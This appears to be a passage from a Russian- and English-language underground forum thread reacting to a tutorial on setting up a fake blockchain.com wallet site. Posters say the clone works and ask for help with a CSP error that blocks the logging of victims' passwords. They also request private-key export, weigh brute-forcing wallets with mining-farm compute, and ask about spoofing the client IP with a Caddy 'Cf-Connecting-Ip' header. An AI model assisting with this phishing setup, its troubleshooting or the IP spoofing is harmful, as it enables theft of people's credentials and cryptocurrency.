шанс поймать хоть копейку таким способом очень мал, лучше не тратить зря время на это
 
Trying with latest version. Configured the proxy etc. But to log passwords I am getting CORS error

Код:
 Content Security Policy: The page's settings blocked the loading of a resource at https: //admin.blockchain.test: 444 / logos / (“connect-src”). [/ CODE]

This is the latest version on blockchain.com from github. Any ideas how to fix? [/ CODE]
[/QUOTE]
Got everything working. All fixed. Thanks for the informative article. If you can add to export private keys that would be very nice.
 
шанс поймать хоть копейку таким способом очень мал, лучше не тратить зря время на это
оговорка: лучше не тратить время без вычислительных мощностей, типа крипто-фермы)
Хороший фейк спасибо, брут достаточно сомнителен
любой, у кого в запасе есть достаточно ресурсов и кто сможет выделить их на время - имеет шанс на успех.
да, комбинаций там миллиарды, но и в системе уже есть чуть более 60кк пользователей. за пару дней конечно ничего не выйдет,
но выделив мощности хорошей фермы и времени от месяца и выше - шансы очень сильно возрастают.
кто решится на этот шаг, за тем и профит.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
caveat: it's better not to waste time without computing power, such as a crypto farm)

anyone who has enough resources in reserve and who can allocate them for a while has a chance of success.
yes, there are billions of combinations, but the system already has a little over 60kk users. of course, nothing will come of it in a couple of days,
but by allocating the capacity of a good farm and time from a month or more, the chances are greatly increased.
who decides to take this step, for that and profit.
would you develop and pack all into 1 software? what would be the cost of something like that?

Great Minds!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
оговорка: лучше не тратить время без вычислительных мощностей, типа крипто-фермы)

любой, у кого в запасе есть достаточно ресурсов и кто сможет выделить их на время - имеет шанс на успех.
да, комбинаций там миллиарды, но и в системе уже есть чуть более 60кк пользователей. за пару дней конечно ничего не выйдет,
но выделив мощности хорошей фермы и времени от месяца и выше - шансы очень сильно возрастают.
кто решится на этот шаг, за тем и профит.
Ты прав, вероятность все таки есть хоть и мизерная, может с первой секунды попасться, а может и целый год на это уйдет, и более вероятно что ничего не выйдет. Такое реально толкали на бхф но там челика убанили. Не знаю кто решится искать таким методом битки, но все же, никогда не говори никогда
Тут хотя бы бесплатно:)
 
Great article, thanks
Now they seem to have slightly changed their appearance.
And enabled login through email. If you follow this article on latest version of blockchain front end, some things needs to be fixed. But not very hard. One of the best tutorial.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Отличный фейк, после проделанной тобой работы, невольно хочется взять и начать учить js в захлеб:)
 
I have successfully setup the fake and all works. But IP spoofing is not working. Can anyone suggest what can be wrong? For test in caddyfile I put
Код:
 header_up Cf-Connecting-Ip "1.2.1.2"[/ CODE]
 but it is still sending my server IP.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх